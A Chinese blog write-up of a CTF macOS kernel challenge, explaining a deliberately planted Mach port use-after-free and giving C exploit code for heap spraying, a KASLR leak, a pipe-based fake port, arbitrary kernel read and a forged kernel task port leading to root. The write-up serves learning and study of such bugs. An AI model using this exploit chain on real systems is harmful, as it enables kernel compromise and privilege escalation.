Logo
Overview
强网杯nostalgic题解

强网杯nostalgic题解

December 6, 2025

起因是赛后复现强网杯的某个osx题目。

首先看代码,按照出题人的说法是故意改出来的洞,其他内存洞都不能用。

UAF分析+验证

DIFF
diff ipc_tt_org.c ipc_tt.c
1424a1425,1438
> ipc_port_t
> port_name_to_kport(mach_port_name_t name) {
>       ipc_port_t kport;
>       if (MACH_PORT_VALID(name))
>       {
>               if (ipc_object_copyin(current_space(), name,
>                                                         MACH_MSG_TYPE_COPY_SEND,
>                                                         (ipc_object_t *)&kport) != KERN_SUCCESS)
>                       return (0);
>               return kport;
>       }
>       return 0;
> }
> 
1724a1739,1741
>                       if (old_port[i] == new_port) {
>                               continue;
>                       }
1738,1739c1755,1759
<               if (IP_VALID(old_port[i]))
<                       ipc_port_release_send(old_port[i]);
---
>               if (IP_VALID(old_port[i])) {
>                       if (((old_port[i]->ip_object).io_references) > 0) {
>                               ipc_port_release(old_port[i]);
>                       }
>               }
1741,1742c1761,1765
<       if (IP_VALID(new_port))          /* consume send right */
<               ipc_port_release_send(new_port);
---
>       if (IP_VALID(new_port)) {        /* consume send right */
>               if (((new_port->ip_object).io_references) > 0) {
>                       ipc_port_release(new_port);
>               }
>       }

丢给gpt一番分析大概知道了这个地方是个machport uaf。

💡

关于reference和send right的解释,可以看这篇文章

Reference counting is a form of simple yet effective memory management. It is basically a way to keep a count of the number of references to an object held by other objects. If an object’s reference count reaches zero, the object will be freed. Creating or Copying an object will increase its reference count by 1, whereas destroying a reference or overwriting the object will decrement its reference count by 1. In systems with limited memory, reference counting can prove more efficient than garbage collection (which happens in cycles and can be time consuming) , because objects can be claimed as soon as their reference count becomes zero, and this improves overall responsiveness of the system.

嗯大概意思是,对于每一块分配出去的内存有一个引用计数:当引用计数为0时说明当前内存可以再次被分配。当进行一次拷贝时,reference + 1,

另外对于send rights,这是一个关于machport的属性。如果一个对象有send right,那么它可以在用户态被操作。于是可以非常完美地解释这个修改造成的问题。

我们考虑重复调用两次task_set_exception_ports(self, mask, victim, …)这个函数。

修改前:第一次:内核复制一份 → +1 send right
ipc_port_release_send(new_port) 释放调用者的那份 → -1 send right

第二次:再复制一份给 task → +1
释放旧的 exc_actions[x].port 第一次留下的那份 -1
最后 你手上仍无send right可释放影响较小

修改后:第一次: 内核复制一份 → +1 send right

ipc_port_release 直接减少reference

第二次:send right不增加,但是old和new都再减少一次reference。

当reference变成0时,task_port_t这块内存就被free了。

这个时候我们再通过heap fengshui把这块区域的控制重新拿回来,因为send right还在,内核仍然认为这个port是有效的,我们可以修改内容,变成我们期望的task,比如tfp0!

于是迅速写了一坨验证exp:

C++
 // clang -Wall -O2 -o poc poc.c
  #include <mach/mach.h>
  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>

  static mach_port_t make_port(void) {
      mach_port_t p = MACH_PORT_NULL;
      kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
      if (kr != KERN_SUCCESS) { fprintf(stderr, "alloc: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
      kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
      if (kr != KERN_SUCCESS) { fprintf(stderr, "insert: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
      return p;
  }

  static void exhaust_refs(mach_port_t p) {
      exception_mask_t mask = EXC_MASK_BAD_ACCESS;
      task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      for (int i = 0; i < 8; i++) {
          task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      }
      mach_port_mod_refs(mach_task_self(), p, MACH_PORT_RIGHT_RECEIVE, -1);
  }

  int main(void) {
      mach_port_t victim = make_port();
      if (victim == MACH_PORT_NULL) return 1;

      exhaust_refs(victim);
      puts("[*] port should now be dangling, sending to it to trigger UAF/panic...");

      struct {
          mach_msg_header_t hdr;
      } msg;
      memset(&msg, 0, sizeof(msg));
      msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
      msg.hdr.msgh_size = sizeof(msg);
      msg.hdr.msgh_remote_port = victim;

      kern_return_t kr = mach_msg(&msg.hdr, MACH_SEND_MSG, msg.hdr.msgh_size, 0,
                                  MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
      fprintf(stderr, "mach_msg returned: %s\n", mach_error_string(kr));
      pause(); // 如果没马上 panic,可保持进程存活观察
      return 0;
  }

发现创建的普通port只需要循环设置两次就没有了,但是仍然有用户态的name(理解为指针)指向这个“不存在的port”

于是尝试spray进行port风水的检查,发现可以稳定在一轮里spray后重新get这个name可以保证它success。

C++
// clang -Wall -O2 -o poc poc.c
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/sysctl.h>


static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    kern_return_t kr;

    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] alloc: %s\n", mach_error_string(kr));
        return MACH_PORT_NULL;
    }

    kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] insert: %s\n", mach_error_string(kr));
        return MACH_PORT_NULL;
    }
    // printf("[+] make_port -> name=%d\n", p);
    return p;
}

static int probe_port(const char *label, mach_port_t name) {
    natural_t type = 0;
    mach_vm_address_t addr = 0;
    kern_return_t kr;

    kr = mach_port_kobject(mach_task_self(), name, &type, &addr);

    printf("[*] probe %-12s: name=%d kr=%d (%s) type=%u kaddr=0x%llx\n",
           label, name, kr, mach_error_string(kr),
           type, (unsigned long long)addr);
    if (kr != KERN_SUCCESS) {
        return 0;
    }
    return 1; 
}

static void dump_port_limits(const char *label, mach_port_t name) {
    struct mach_port_limits limits;
    mach_msg_type_number_t count = MACH_PORT_LIMITS_INFO_COUNT;
    kern_return_t kr;

    kr = mach_port_get_attributes(mach_task_self(), name,
                                  MACH_PORT_LIMITS_INFO,
                                  (mach_port_info_t)&limits, &count);
    if (kr != KERN_SUCCESS) {
        printf("[*] limits %-12s: name=%d get_attributes -> %s\n",
               label, name, mach_error_string(kr));
        return;
    }
    printf("[*] limits %-12s: name=%d qlimit=%u\n",
           label, name, limits.mpl_qlimit);
}
__attribute__((noinline))
static void trigger_bad_access(void) {
    volatile int *p = (int *)0x0;
    *p = 0xdeadbeef;
}

#define SPRAY_MAX 0x6000
static mach_port_t spray_arr[SPRAY_MAX];
static size_t spray_cnt;
static mach_port_t uaf_port = MACH_PORT_NULL;
static int reuse_idx = -1;
static void *fake_port_page = NULL;
static uint64_t kernel_slide = 0;
static uint64_t k_ipc_space_kernel = 0;
static uint64_t k_kernel_task = 0;

#define UNSLID_REALHOST          0xffffff80008bddc0
#define UNSLID_IPC_SPACE_KERNEL  0xffffff80008bac80
#define UNSLID_KERNEL_TASK       0xffffff80008c5168


static size_t spray_with_make_port(size_t want) {
    if (want > SPRAY_MAX) want = SPRAY_MAX;
    size_t ok = 0;
    for (; ok < want; ok++) {
        mach_port_t p = make_port();
        if (p == MACH_PORT_NULL) {
            fprintf(stderr, "[-] make_port failed @%zu\n", ok);
            break;
        }
        spray_arr[ok] = p;
    }
    spray_cnt = ok;
    printf("[*] sprayed %zu ports\n", ok);
    return ok;
}

static void tag_spray_ports(void) {
    for (size_t i = 0; i < spray_cnt; i++) {
        mach_port_context_t ctx = 0x133700000000ULL | i;
        kern_return_t kr = mach_port_set_context(mach_task_self(), spray_arr[i], ctx);
        if (kr != KERN_SUCCESS) {
            fprintf(stderr, "[-] set_context %zu: %s\n", i, mach_error_string(kr));
        }
    }
}

static int detect_reuse_from_uaf(void) {
    mach_port_context_t ctx = 0;
    kern_return_t kr = mach_port_get_context(mach_task_self(), uaf_port, &ctx);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] get_context uaf: %s\n", mach_error_string(kr));
        return -1;
    }
    if ((ctx & 0xFFFF00000000ULL) == 0x133700000000ULL) {
        int idx = (int)(ctx & 0xFFFF);
        printf("[+] UAF chunk reused by spray_arr[%d] name=%d ctx=0x%llx\n",
               idx, spray_arr[idx], (unsigned long long)ctx);
        reuse_idx = idx;
        return idx;
    }
    printf("[-] no hit yet, ctx=0x%llx\n", (unsigned long long)ctx);
    return -1;
}


// 把命中的端口 free 掉,为后续 freelist 污染做准备
static void free_reused_port(void) {
    if (reuse_idx < 0) {
        puts("[-] reuse_idx not set");
        return;
    }
    kern_return_t kr = mach_port_destroy(mach_task_self(), spray_arr[reuse_idx]);
    printf("[*] destroy reused port name=%d -> %s\n", spray_arr[reuse_idx], mach_error_string(kr));
    spray_arr[reuse_idx] = MACH_PORT_NULL;
}

static void make_uaf_port(mach_port_t victim) {
    puts("[*] make_uaf_port");
    kern_return_t kr;
    probe_port("victim", victim);
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
    printf("[*] 0. task_set_exception_ports() -> %s\n", mach_error_string(kr));
    for (int i = 0; i < 2; i++) {
        kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
        printf("[*] %d. task_set_exception_ports() -> %s\n", i+1, mach_error_string(kr));
        probe_port("victim", victim);
    }
    puts("[*] done");
}
int main(void) {
    puts("[*] Stage 1: Create ports and trigger UAF");
    mach_port_t victim = make_port();
    if (victim == MACH_PORT_NULL) {
        printf("[-] make_port failed\n");
        return -1;
    }
    uaf_port = victim;
    make_uaf_port(victim);

    puts("[*] Stage 3: Spray and detect reuse");
    spray_with_make_port(0x3000);
    tag_spray_ports();
    detect_reuse_from_uaf();
    if (reuse_idx >= 0) {
    }
    return 0;
}

于是到这里也是稳定能够复用端口,可以看到reuse_idx这里能找到内容。

利用思路讲解

用户态有一个mach name,在内核里的进程控制块(linux的PCB)task port中,有一块空间用来做“从mach name到mach port内存“的映射

在进行两次解引用后,内核处理模块只处理了mach port 内存(因为内存这里已经没有io_reference,相当于不能用了),但是因为破坏了原来的逻辑,这里并不会对这个映射有影响。于是进入了这个状态

由于内存page分配原理(和buddy system差不多),这里如果这一个page都是空闲的,那么kalloc大概率会分到这一块page。所以这里我们用一个其他的内存中结构体(如IOSurface,sock_opt虽然还没有调通),进行大量kalloc和写入,就有机会把这一块内存占用,变成我们可读写的内存,如下:

在我们做到可读写这一块之后,我们构造一个恶意的task port结构体:它有pid = 0,全宇宙最高权限的task port ⇒ tfp0,刚好放在dangling pointer指向的地方,再用我们用户态的mach name进行操作时,内核会误认为它是一个天然存在的结构体,从而不拒绝执行对它的操作。

而后我们就有了内核任意读任意写原语:有了它你可以把我们本身的task结构体中权限修改成0→提权,可以关掉amfi,coretrust,…相当于关闭所有运行时 安全检查,这就是越狱。

可以看出,我们现在离真正提权还差了几步:1. 现代系统中一般都会对内核地址做随机化处理防止直接被使用。2. 怎么样保证写入进去的task port“刚刚好”落在我们需要的这篇区域上?3. 怎么样构造一个完美的tfp0?

KASLR→内核基址泄露

首先我们需要一些方法来泄露内核基址。卡了很久,最后在project zero里找到了一篇关于Safari的内核pwn题。

从这里面找到了kaslr的泄露方法:

C++
static kern_return_t slide_leak(void) {
    INFO("leaking kernel slide...");
    FILE *fp;
    char buf[512];
    uint64_t leaked_address = 0;
    fp = popen("ioreg -l | grep IOPlatformArgs", "r");
    if (!fp) {
        ERROR("popen failed");
        return KERN_FAILURE;
    }
    if (!fscanf(fp, "%*[^<]<%511[^>]>", buf)) {
        ERROR("parse_slide: fgets failed");
        pclose(fp);
        return KERN_FAILURE;
    }
    pclose(fp);
    char reversed[17] = {0};
    for (int i = 0; i < 8; i++) {
        reversed[i*2]   = buf[14 - i*2];
        reversed[i*2+1] = buf[15 - i*2];
    }
    leaked_address = strtoull(reversed, NULL, 16);
    slide = leaked_address - UNSLID_DT_ADDR;
    SUCCESS("calculated kernel slide: 0x%llx", (ull)slide);
    SUCCESS("kernel base: 0x%llx", (ull)(KERNEL_BASE) + slide);
    return KERN_SUCCESS;
}

需要改下启动参数关掉kaslr拿下原来的基址之外都非常简单。

💡

后面出题人给我的思路是用clock泄露,参考:

于是这一步也解决了。

💡

这里只是第一步的kaslr,在内核地址返回用户态的过程中还进行了一次加密:

C
__int64 __fastcall buf_kernel_addrperm_addr(__int64 a1)
{
  if ( a1 )
    return buf_kernel_addrperm + a1;
  else
    return 0;
}

这里的buf_kernel_addrperm是在启动初期生成的key:

C
/*
	 * Initialize the global used for permuting kernel
	 * addresses that may be exported to userland as tokens
	 * using VM_KERNEL_ADDRPERM(). Force the random number
	 * to be odd to avoid mapping a non-zero
	 * word-aligned address to zero via addition.
	 */
	vm_kernel_addrperm = (vm_offset_t)early_random() | 1;
	buf_kernel_addrperm = (vm_offset_t)early_random() | 1;

大概是生成一个32bit的随机数并且地位强制转换为1(这样可以避免对齐)

不过因为我们已经leak了slide所以这里非常简单

找一个已知的→比如REAL_HOST,拿到它的kobject 地址,和kernel文件里的比一比,再减去slide,就是实际的addrperm了。实现如下(码丑勿喷

C
mach_port_t clk = MACH_PORT_NULL;
KR(host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &clk));
mach_vm_address_t clk_addr = 0,host_self_addr = 0;
natural_t type = 0;
KR(mach_port_kobject(mach_task_self(), mach_host_self(), &type, &host_self_addr));  // addr = REAL_HOST + slide + addrpem
SUCCESS("realhost kobject addr: 0x%llx", (ull)host_self_addr);
addrpem = host_self_addr - REAL_HOST - slide;
KR(mach_port_kobject(mach_task_self(), clk, &type, &clk_addr)); // clk_addr = CLOCK_LIST_PORT + slide + addrpem + id * ? // id = 1
SUCCESS("clock port kobject addr: 0x%llx", (ull)clk_addr);
    
SUCCESS("calculated addrpem: 0x%llx", (ull)addrpem);
SUCCESS("calculated clock port offset (should be small): 0x%llx", (ull)(clk_addr - CLOCK_LIST_PORT - slide - addrpem));

某块区域内存写入→ 堆风水 → tfp0

来自出题人的提示1
来自出题人的提示2

好了这里给了两个提示,第一个对应我们说的IOSurface写入过程,第二个给我们提供了新条件。

同样经过一番搜索可以搜到360的技术博客

在iOS的内核里, 不同的内核对象隔离在不同的zone, 这意味着即使ipc voucher对象释放了,这个对象不是真正的释放,只是放到对应的zone的free list,我们也只可能重新分配一个ipc voucher去填充.但是一般的UaF的漏洞我们都是需要转换成Type Confusion去利用,也就是我们需要分配一个不同的内核对象去填充这个释放的ipc voucher内存区域,在这里我们需要手动触发内核的zone gc, 把对应的page释放掉.

这里也是一样的,我们需要申请至少一个page的mach port,取其中一个来作为我们的fake port,其他的都删除,并且要把page释放掉。 有意思的一点是,在10.9 并没有禁用mach_zone_force_gc ,这很方便。

第一步流程是,申请很多个machport,然后选一个进行uaf,剩下的destroy掉,然后gc。

直接给代码,没什么好讲的

C

static kern_return_t make_port_uaf(mach_port_t port) {
    INFO("making port uaf...");
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set => send right +1 => 2 => io_ref - 1 = 1

    kern_return_t kr = detect_port(port);
    int times = 0;
    while(kr == KERN_SUCCESS) {
        KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set again => (n) send right keep => 2 , io_ref -1 => 0
        times++;
        INFO("uaf attempt %d", times);
        kr = detect_port(port); // should succeed
    }
    INFO("kr=%s", mach_error_string(kr));
    INFO("port is uafed after %d attempts", times);
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}
static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    KR(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p));
    KR(mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND));
    return p;
error:
    return MACH_PORT_NULL;
}


static kern_return_t make_victim(void) {
    INFO("make victim ports...");
    for(int i=0;i<NUM_BEFORE;i++) {
        before_port[i] = make_port();
        EQ(before_port[i], MACH_PORT_NULL);
    }
    victim_port = make_port();
    EQ(victim_port, MACH_PORT_NULL);
    for(int i=0;i<NUM_AFTER;i++) {
        after_port[i] = make_port();
        EQ(after_port[i], MACH_PORT_NULL);
    }
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
} 
static kern_return_t gc(void) {
    INFO("Free ports");
    for(int i=0;i<NUM_BEFORE;i++) {
        RELEASE_PORT(before_port[i]);
    }
    for(int i=0;i<NUM_AFTER;i++) {
        RELEASE_PORT(after_port[i]);
    }
#if __MAC_OS_X_VERSION_MIN_REQUIRED <= 1090
    INFO("triggering garbage collection...");
    KR(mach_zone_force_gc(mach_host_self()));
#else
    INFO("skipping garbage collection (not supported on this OS version)...");
#endif
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}

接下来是写入:

换一篇博客

看眼xnu代码可以知道,创建了pipe之后,在尝试读取或者写入时,会创建和写入一样大的一片buffer区域,用的kalloc。那么如果

于是可以看看第二篇文章的写法

直接去voucher_swap里抄代码就好了。

需要注意的是他们用的是kalloc.16384这块,我们需要改成kalloc.4096,大概流程:

C

    pipe_buffer_size = 4096; // make it to kalloc.4096
    size_t pipe_count = 16 * MB / pipe_buffer_size;
    increase_file_limit();
    int *pipefds_array = create_pipes(&pipe_count);
    INFO("created %zu pipes", pipe_count);
    pipe_buffer = calloc(1, pipe_buffer_size);
    EQ(pipe_buffer, NULL);
    bzero(pipe_buffer, pipe_buffer_size);
    size_t pipes_filled = pipe_spray(pipefds_array, pipe_count, pipe_buffer, pipe_buffer_size, NULL );
    INFO("filled %zu pipes", pipes_filled);

然后做检测:

C
KR(mach_port_set_context(mach_task_self(), victim, 0x41414141));
INFO("try locate which page");
    int pipe_idx = -1;
    int context_location = -1;
    for(size_t i=0;i<pipes_filled;i++) {
        ssize_t n = read(pipefds_array[2*i], pipe_buffer, pipe_buffer_size);
        if(n < 0) {
            ERROR("read pipe %zu failed", i);
            continue;
        }
        uint32_t *p = (uint32_t *)pipe_buffer;
        for(size_t j=0;j<(pipe_buffer_size/4);j++) {
            if(p[j] == 0x41414141) {
                SUCCESS("found in pipe %zu at offset 0x%zx", i, j*4);
                pipe_idx = (int)i;
                context_location = (int)(j*4);
                break;
            }
        }
        if(pipe_idx != -1) break;
    }
    EQ(pipe_idx, -1);
    EQ(context_location, -1);
    INFO("found victim port in pipe %d at offset 0x%x", pipe_idx, context_location);

这里做完如果找到了,我们就获得了一个完全可控的port,同时也可以找到offset context,然后倒推出port开始地址的offset。

需要注意,pipe是写入后才能读取的,所以构建一套machport写快捷操作:

C
void read_prim() {
    INFO("reading mach port...");
    ssize_t n = read(rpipe, pipe_buffer, pipe_buffer_size);
    EQ(n, -1);
    INFO("read success");
    return;
error:
    ERROR("read failed in read_mach_port");
    return;
}
void write_prim() {
    ssize_t n = write(wpipe, pipe_buffer, pipe_buffer_size);
    EQ(n, -1);
    INFO("write success");
    return;
error:
    ERROR("write failed in write_mach_port");
    return;
}
void edit_mach_port(size_t offset, void(^update)(kport_t *fakeport)) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(update!=NULL) {
        update(port);
    }
    write_prim();
    return;
}
void read_mach_port(size_t offset, kport_t *outport) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(outport != NULL) {
        memcpy(outport, port, sizeof(kport_t));
    }
    write_prim();
    return;
}
void edit_proc_task(size_t offset, void(^update)(ktask_t *task)) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(update!=NULL) {
        update(port);
    }
    write_prim();
    return;
}

现在先来拿一下port地址,可以用mach_port_request_notification,把某个port注册到我们port的结构体上。然后由于我们port是可以直接获取内容的,这里就可以把addr拿到了。

C
KR(mach_port_request_notification(mach_task_self(), victim, MACH_NOTIFY_PORT_DESTROYED, 0, victim, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify));
read_mach_port(offset, &readback);
uint64_t victim_addr = readback.ip_pdrequest;

下面我们把这个pipe扩展到任意读。貌似做法挺多的,可以用pid_for_task读,也可以用其他方法。

这里我们参考v0rtex的实现方式,在mach_port_get_attributes使用MACH_PORT_DNREQUESTS_SIZE时,会读取ipc_port->ip_request->name.size 。由于默认的request结构体已知,我们可以把ip_request指向我们可控的context,然后解引用时会解到context指向的地址,于是有了

C
typedef volatile struct {
    union {
        uint64_t port;
        uint64_t index;
    } notify;
    union {
        uint64_t name;
        uint64_t size;
    } name;
} kport_request_t;
kport_request_t kreq = {
        .notify =
        {
            .port = 0,
        }
    };
    edit_mach_port(offset, ^(kport_t *fakeport){
        fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
        fakeport->ip_references = 0x100;
        fakeport->ip_messages.qlimit = MACH_PORT_QLIMIT_KERNEL;
        fakeport->ip_messages.msgcount = 0;
        fakeport->ip_srights = 0x10;
        fakeport->ip_context = 0;
        fakeport->ip_requests = victim_addr + offsetof(kport_t, ip_context) 
                                            - offsetof(kport_request_t, name.size); 
    });
    
#define KREAD(addr, out, size)                                                                                                              \
do {                                                                                                                                        \
    for(size_t i=0;i<((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); i++) {                                                             \
        KR(mach_port_set_context(mach_task_self(), victim, addr + i * sizeof(uint32_t)));                                                   \
        mach_msg_type_number_t outsz = 1;                                                                                                   \
        KR(mach_port_get_attributes(mach_task_self(), victim, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(out)+i), &outsz));  \
    }                                                                                                                                       \
} while(0)

获得到了任意读,可控machport。下一步我们需要找的是kernel_task。这里也可以直接走内核符号拿,但是我写了一个不走符号的做法,先读取当前task的地址,然后链表往前走可以枚举所有proc。

C
uint64_t struct_task = 0; // task kobject.
    natural_t type = 0;
    mach_port_kobject(mach_task_self(), mach_task_self(), &type, &struct_task); 
    uint64_t self_proc = 0;
    struct_task -= addrpem;
    SUCCESS("self task kobject addr: 0x%llx", (ull)struct_task);
    self_proc = struct_task;
    uint64_t kernel_vm_map = 0;
    EQ(struct_task, 0);
    while (struct_task != 0) {
        uint64_t bsd_info;
        KREAD(struct_task + BSD_INFO_OFFSET, &bsd_info, sizeof(bsd_info));
        EQ(bsd_info, 0);
        SUCCESS("found next bsd_info: 0x%llx", (ull)bsd_info);
        uint32_t pid;
        KREAD(bsd_info + PROC_PID_OFFSET, &pid, sizeof(pid));
        SUCCESS("found pid: %u", pid);
        if (pid == 0) {
            uint64_t vm_map;
            KREAD(struct_task + VM_MAP_OFFSET, &vm_map, sizeof(vm_map));
            EQ(vm_map, 0);
            SUCCESS("found kernel_vm_map: 0x%llx", (ull)vm_map);
            kernel_vm_map = vm_map;
            break;
        }
        KREAD(struct_task + TASK_PREV_STRUCT, &struct_task, sizeof(struct_task));
    }

本来想了好久应该怎么构造fakeport。但是后面看到思路说直接memcpy就好了,那为什么不呢

C
void *kernel_task_port_dump = malloc(0x100);
    void *kernel_task_dump = malloc(0x200);
    uint64_t kernel_task_addr = 0;
    KREAD(KERNEL_TASK + slide, &kernel_task_addr, sizeof(kernel_task_addr));
    SUCCESS("kernel_task_addr: 0x%llx", (ull)kernel_task_addr);
    
    uint64_t kernel_itk_self = 0;
    KREAD(kernel_task_addr + ITK_SELF, &kernel_itk_self, sizeof(kernel_itk_self));
    SUCCESS("kernel_itk_self: 0x%llx", (ull)kernel_itk_self);
    
    uint64_t fake_task_offset = 0;
    if(offset > 0x500) { // if task port is in later of buffer, we create task at front
        fake_task_offset = 0;
    } else {
        fake_task_offset = pipe_buffer_size - 0x200; // else create at end of buffer
    }
    INFO("fake task offset: 0x%llx", (ull)fake_task_offset);

    KREAD(kernel_task_addr, kernel_task_dump, 0x200);
    SUCCESS("dumped kernel task struct");
    
    
    KREAD(kernel_itk_self, kernel_task_port_dump, 0x100);
    SUCCESS("dumped kernel task port struct");
C
edit_proc_task(fake_task_offset, ^(ktask_t *task) {
        memcpy(task, kernel_task_dump, 0x200);
        task->map = kernel_vm_map;
    });
C
edit_mach_port(offset, ^(kport_t *fakeport){
        bzero(fakeport, sizeof(kport_t));
        memcpy(fakeport, kernel_task_port_dump, 0x100);
        fakeport->ip_kobject = buffer_start_address + fake_task_offset;
    });
    SUCCESS("faKe tfp0 ready!");

才知道c也有这种lambda类型的函数,不得不说还挺好用的。

接下来就拿到krw了,后面改改cred就行,不写实现了

可以给更高权限的原语:

C
static mach_port_t tfpzero;

void init_kernel_memory(mach_port_t tfp0) {
    tfpzero = tfp0;
}

uint64_t kalloc(vm_size_t size) {
    mach_vm_address_t address = 0;
    mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
    return address;
}

void kfree(mach_vm_address_t address, vm_size_t size) {
    mach_vm_deallocate(tfpzero, address, size);
}

size_t kread(uint64_t where, void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        mach_vm_size_t sz, chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
        if (rv || sz == 0) {
            printf("[-] error on kread(0x%016llx)\n", where);
            break;
        }
        offset += sz;
    }
    return offset;
}

size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        size_t chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
        if (rv) {
            printf("[-] error on kwrite(0x%016llx)\n", where);
            break;
        }
        offset += chunk;
    }
    return offset;
}
void wk32(uint64_t where, uint32_t what) {
    uint32_t _what = what;
    kwrite(where, &_what, sizeof(uint32_t));
}


void wk64(uint64_t where, uint64_t what) {
    uint64_t _what = what;
    kwrite(where, &_what, sizeof(uint64_t));
}
uint32_t rk32(uint64_t where) {
    uint32_t out;
    kread(where, &out, sizeof(uint32_t));
    return out;
}

uint64_t rk64(uint64_t where) {
    uint64_t out;
    kread(where, &out, sizeof(uint64_t));
    return out;
}

		init_kernel_memory(victim);
    INFO("testing kr/w...");
    
    uint64_t addr = kalloc(8);
    INFO("allocated kernel memory at 0x%llx", (ull)addr);
    EQ(addr, 0);
    wk64(addr, 0x4141414141414141);
    uint64_t readb = rk64(addr);
    kfree(addr, 8);
    printf("[*] read back: 0x%llx\n", readb);
    NEQ(readb, 0x4141414141414141);
    SUCCESS("kr/w test passed!");

于是成功通关。下面是在当前进程的bsdinfo里把ruid改成0,就能直接提权了。

完整代码:

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。